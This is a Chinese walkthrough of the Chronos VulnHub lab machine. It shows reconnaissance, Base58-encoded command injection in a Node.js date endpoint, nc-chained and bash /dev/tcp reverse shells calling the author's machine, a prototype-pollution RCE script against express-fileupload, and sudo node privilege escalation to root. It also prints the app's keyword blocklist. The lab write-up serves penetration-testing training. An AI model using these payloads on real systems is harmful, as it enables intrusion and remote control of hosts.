靶机地址: https://www.vulnhub.com/entry/chronos-1,735/
参考链接:
https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
https://blog.p6.is/Real-World-JS-1/
难度:中 (在攻入过程中,我认为远远超过了这个难度!涉及了众多的代码审计,框架漏洞,数据编码等)有意思的是,这个靶机还存在一个彩蛋,哈哈!
按照社会工程学,对这个靶机的名字(chronos)分析了下,里面的内容应该与时间有关系......
话不多说,导入靶机开始!
主机发现环节
靶机和我的kali是在同一个子网,在主机发现中,除了之前介绍的arp-scan和arping,之外,我再介绍另外一种工具# netdiscover
这款工具原理跟之前的两个是异曲同工,都是通过arp解析协议来完成
目前我试验环境的子网是192.168.0.0/24
└─# netdiscover -r 192.168.0.0/16
这条命令 -r的参数后面跟上自己的试验网段,如果你实际的子网掩码是/24,通常减8 ,变成/16 , 以此类推,实际/16,就写/8,这样做减法,好处在于加快了主机发现。用方向键↓放下拉取,找到了目标靶机所在的位置,但是在我实际的操作中,这速度没有arp-scan那么快,它的唯一优势在大类子网中速度会快很多,配合定向文件查找即可!
针对192.168.0.109进行全端口扫描
└─# nmap -p- 192.168.0.109
如图所示:22,80 8000三个端口被扫描出来了。
针对这三个端口,进行服务版本发现确认。
└─# nmap -p22,80,8000 -sV 192.168.0.109
如图所示:得到了系统是ubuntu系统,运行了http服务,使用了node.js和Express框架!
既然与Web服务,在浏览器上尝试访问80和8000端口
http://192.168.0.109/
果然和我之前猜测这个靶机名字,一张被简单美化过的时间图片,里面会有什么东西等待我的解开呢?
遇到这样的web应用,通常先用爬站的手段,将隐藏路径和文件爬出来,
由于有这个简单的渲染画面,这里我不得不使用的是ctrl+u,在谷歌浏览器上用来查看源码文件的,通常在html语句中会有隐藏域,表单等页面元素
如如所示:在这段HTML语句中发现了一个脚本文件,希望从这里能找到一些线索
先将它复制,尝试读懂这段脚本,但是傻了眼,大概能看出很多变量名称经过了编码处理!
很难从Js语义中读懂其中意思
这就需要对java 脚本进行美化,整理,还原的操作
有一款工具值的推荐:cyberchef
其作者将这款软件上传至GitHub之中,通过github的http服务就可以用啦!
地址:https://gchq.github.io/CyberChef/
该工具可以对计算机内的很多语言进行编码,解码等操作
operations操作模块:多达几百种
Recipe 食谱/烹饪,转换的意思
input 插入数据
output 转换后的数据
首先,知道这段代码一定是js代码文件,因此在操作模块中选择该模块,并将之前的代码插入
最后转换的结果如下
即使是美化过的js代码,在我仔细阅读过程中发现还是很晦涩,很多变量名称都被编码化了。
在我代码审计过程中,发现了一段很突兀的明文代码,这让我很是欢喜,将这段代码复制
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
看起来这是一段URL
chronos.local 根据靶机名字,推断出这可能是本机(主机)的意思。
8000端口下运行着node.js,并且后面跟了变量date?for之类的URL的赋值
足以判断出,当我访问靶机的web资源,它会调取其中的某个资源显示出来。
为了能验证此推断,需要再本地进行测试,将chronos.local写入到kali中的hosts文件之中
└─# vim /etc/hosts
我在kali上的浏览器上尝试访问解析过的8000端口下的url里的内容,看看有什么变化?
访问目标靶机的80端口里的首页面,在已经被解析的域名,会带出来url后面的8000端口后的内容,如图所示:证明访问了url资源
页面中显示的是UTC时间
页面中显示的是UTC时间,加8就行
利用burp拦截功能,抓取http请求过程的所有内容,进行下一步分析。别忘在kali浏览器上开启代理
先关闭代理的拦截功能,以防后续无法进行正常访问
刷新kali 浏览器上的网页内容,在http history模块中发现了如下的内容:
这里面能够看到有GET的请求方法请求了/的URL路径;
OPTIONS 方法 访问了date?format.....的URL路径。
OPTIONS方法:是用于请求获得由Request-URI标识的资源在请求/响应的通信过程中可以使用的功能选项。通过这个方法,客户端可以在采取具体资源请求之前,决定对该资源采取何种必要措施,或者了解服务器的性能。该请求方法的响应不能缓存。
GET:从服务器请求数据后获取服务端数据
并且在最后一个Get请求后,服务器返回的结果是一个当下的具体时间。
因此,我可以确定出这个web页面中的信息就是通过访问以上服务器的URL地址,或得到的时间结果
将这一段的请求代码,发送到Repeater上,对其代码进行重放尝试
若是将GET请求中的URL路径参数修改成任意,刷新后的web页面是否能正常显示时间?
修改了两种,一种是null 一种瞎写的字母:修改完成后点击send,发现在响应模块中有HTTP状态码500的报错和没有回显的信息
这就可以证明出format=后面的参数对调取时间是非常关键的。
通过大致观察,可能是一类编码,当时怀疑的是Base64编码,可是它没有符号类的format= 4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL;
对于对编码类型的怀疑,复制这段代码,上传到CyberChef,来进行验证处理,从而还原出能看懂的明文代码,利用Magic功能进行验证
通过magic功能模块解析,得到的结果这段编码是通过Base58编码译成的。
该靶机的作者选用Base58这种冷门,是为了大概率防止知悉Base64编码的人轻易破解密文吧!
通过点击还原出来的明文:
'+Today is %A, %B %d, %Y %H:%M:%S.' 类似linux中date命令,通过变量格式能够在系统中输出
被还原出的明文代码,看起来是真的很熟悉,就是linux中date命令,通过变量格式能够在系统中输出,可以验证下:
如图所示,就是Linux系统中的date命令配合变量的输出系统时间,这个系统时间是以一定的格式输出!%m星期几....
|前面是真,后面不执行
&前面是真,后面依然执行
同样在linux系统中适用!例如,如图所示:
|| 前面的命令正确,后面的命令不执行,反之亦然
&& 前面的命令正确之后,才能执行后续的命令(这一点跟java中的短路或有点区别)
按照这样的思路,测试靶机是否存在命令注入漏洞。
通过之前拦截的HTTP请求报文中,可以看到format后面的数值都是用base58,因此将后续的系统指令
(这里我用 && ls )转换成Base58编码,将靶机中的文件列表给列举出来。
回到CyberChef中,按照图中板式进行转换,将yZSGA转换结果拷贝。
将这个数值,粘贴到Repcater中,果真有命令注入漏洞!
既然存在命令注入漏洞,配合反弹shell最好不过了;
反弹shell中,通常应用广泛的是nc链接,将发现系统是否存在nc命令指令转换成Base58编码:VAZYW9RHPu6D
将这段翻译出来的编码,粘贴到burp中,进行重发
如图所示:发现了靶机存在bash和nc的命令,这就可以进行下一步的反弹shell 做准备了。
先测试靶机的nc连接功能到我的kali上是否正常
首先,在我的kali上开启侦听3035端口
将系统执行转换成base58,复制转化后的编码nhianDroxJrkSARURd6QxM5XVcvLNqz
然后,将这拷贝的编码,放到Burp之中
如图所示:返回的结果提示出错了,看起来目前的请求是有问题的!
但是在kaLi的nc侦听界面中,显示了一条连接的提示信息,说明目标靶机存在nc,可以正常进行链接!
接下来进一步对nc测试,目前不确定nc版本是哪一种,因此这里测试的是目标靶机中nc命令是否支持 -e的参数;
还是先转换:
&&nc 192.168.0.208 3035 -e /bin/bash
HoVdg5BvZa2o7FGdcYtuWboPUrKzSwBVrEctxtzcazqPFqdD1
最后的结果依然是有错误的。
在kali上的nc端口侦听中也是没有任何结果,证明了不包含 -e参数的nc
在kali上再开启3036端口
既然是这样,可以利用nc串联的方式,
&&nc 192.168.0.208 3035 | /bin/bash | nc 192.168.0.208 3036
转换
2XqeYgBDNepmM9vgTVeDpGeidrSgzvkibM7HMNvf4bvJt3xREvjKGBrtSvbGPTN64AMwLZfFzdCqPmnuT
在kali中两个端口的连接建立成功
测试下是否链接成功,反弹shell成功了。查看用户身份是一个www用户,革命还未成功~~~~~~~~
有了反弹shell的基础,先进行搜集信息
列出当前目录的文件内容:
查看目标靶机内的所有用户信息,发现有一个inmera的用户。
进入到用户家目录,发现了user.txt文件,很遗憾,这个文件通过我列出文件列表,看到了该文件权限的属主是imera,而我的身份是www用户
接下来尝试进行提权
基于内核漏洞4.15系统漏洞,目前没有发现
查看suid和sudo权限,无效
到此为止,渗透提权遇到了阻碍!就需要更加深入的去对目标靶机进行信息收集;
经过对文件路径的查看,发现/opt的文件里的内容有价值
choronos和choronos-v2
在choronos文件夹下存在以下文件:该服务器的代码文件如下
从这些文件得知,该目标靶机的web程序语言是用js开发而来,我访问了js官网来进一步查询:http://nodejs.cn/
在我的开发认知中,js通常以客户端前端来呈现,很少用作服务器端的应用程序,通过查询官网的文档中,大致了解了node.js的一些知识点。
在看了一些利用js开发的产品,大部分都是基于其中的框架和库发布出来的。
其中express是最受web搭建的广泛应用
在node.js官网中,查询到了package.json的一些介绍
在了解了node.js 基本知识点后,开始进行代码审计,首先查看package.json
其中声明了web程序中依赖的库和其他编码文件,这里面我们看到了express的框架和base58编码信息
查看程序的主文件app.js 从这取名来看,这很肯定就是web服务端的应用程序文件
看到了框架,编码 端口
还看到了代码的路由功能(例如访问/ 会跳转到哪个路径)
app.get('/', (req,res) =>
针对该靶机的web内容,我重点放在/date上
var agent = req.headers['user-agent']; (取http头的user-agent字段的内容并赋值给agent的这个变量;)
var cmd = 'date '; (定义一个cmd的变量为date--执行时间的系统命令)
const format = req.query.format; (url路径中format的赋值)
const bytes = bs58.decode(format); (提出来赋值用base58解码)
var decoded = bytes.toString(); (解码后的还原成字符串)
var concat = cmd.concat(decoded); (还原后的字符串利用concat和cmd进行连接。)
通过对.app.js里面的代码审计,发现服务端只是简单地对数值进行拼接,没有进行任何的代码消毒过滤,就是因为该代码忽略了这点安全优化,从而导致了能够成功的进行了命令注入;
如果agent这个变量是chronos,则正常执行以下语句:
大概的意思如果请求内容中包含了以下字段,web程序就会返回Something went wrong的信息。
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
就是之前我插入了nc报错的原因!
若是不符合,则返回permission Denied
观察完了这些代码,在burp中,我们可以验证出
user-agent字段中 是否存在chronos字段内容
如图所示:就是因为之前的服务端app.js代码中agent变量中赋值了chorons
若是将web请求头中的agetn字段的赋值内容改成别的,那么按照app.js里的代码就会被判断为错误,返回权限拒绝
通过阅读以上代码,可以知道该靶机作者是十分熟悉渗透测试的各种环节,对各种命令字符,只是过滤,执行了报错的信息,故意留给我们这一个漏洞!
总的来说,app.js这里面的代码是没有任何对提权有价值的线索!
继续我的深入收集信息阶段....
查看chronos-v2的文件夹里的内容,发现了三个文件,重点关注backend这个文件目录(后端存放文件)
进入到该文件夹下,查看有哪些文件,先进入到package.json文件
package.json文件内容:
{
"name": "some-website",
"version": "1.0.0",
"description": "",
"main": "server.js", --服务端主程序
"scripts": {
"start": "node server.js" --启动服务端主程序方法
},
"author": "",
"license": "ISC",
"dependencies": {
"ejs": "^3.1.5", --嵌入式js模板
"express": "^4.17.1",
"express-fileupload": "^1.1.7-alpha.3" --***文件上传,突破口****
}
}
查看主程序文件 server.js
onst express = require('express'); --调用库
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true })); --文件上传参数开关***
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
onst server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080; --服务端口8080,这个端口没被之前扫描出来的原因在于:只侦听了本机地址127.0.0.1,也就说只有本机才能访问这个8080端口。
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
通过在查询express文件上传模块漏洞
最终这个链接
https://blog.p6.is/Real-World-JS-1/
详细的介绍了该漏洞的利用方法
parseNested这个值要关注下
想要利用这个漏洞,服务器端必须开启此功能
文章的最后,作者列出了一个简化的py脚本,将这段代码复制一下,稍作修改,写上自己的kali的主机地址和目标本地的地址
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.208/3037 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
复制好的代码,现在kali上生成一个fileupload.py的文件
在kali上开启HTTP功能,让靶机可以正常下载.py这个文件
└─# python3 -m http.server 8099
在反弹shell中,切换到靶机的/TMP目录,原因在于tmp这个文件权限比其他的文件夹要大一些!
wget http://192.168.0.208:8099/fileupload.py
下载成功
在kali上启动3037端口侦听
在反弹shell中执行python3 fileupload.py
如图所示:成功获取到了反弹shell
以为大功告成,结果只是获得了imera的普通用户账号
进入到imera的家目录,查看相关的文件
如图所示:很眼熟吗?这就是之前我查看所用用户时发现的一个用户文件,只不过权限不够!
迫不及待的查看该文件:第一步取得普通用户的标签
我尝试进入到root下,提示权限拒绝!
我真的是服了!!!!
Linux用户提权的三种方式:
内核提权
suid
sudo提权
在用sudo列表漏洞提权的过程里看到了一丝曙光!
这两行的意思就是,利用root用户在执行npm和node命令的时候是不需要输入密码的!
利用Node反弹shell提权!
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
将两个flage拷贝:
imera的:
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
root的:
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
到此为止,攻入完成!
通过对作者的描述,这两个用户里的文件falg到底是密码是什么?
看起来这个两个编码,报着试试的态度,查看是什么编码文件,通过magic的模块查看是Base64编码
经过转换得来的这些文字o chronos pernaei file mou
可是这英文通过翻译的结果是这样的!
再将root下的falge内容进行转换翻译
这就是这次的小彩蛋吧!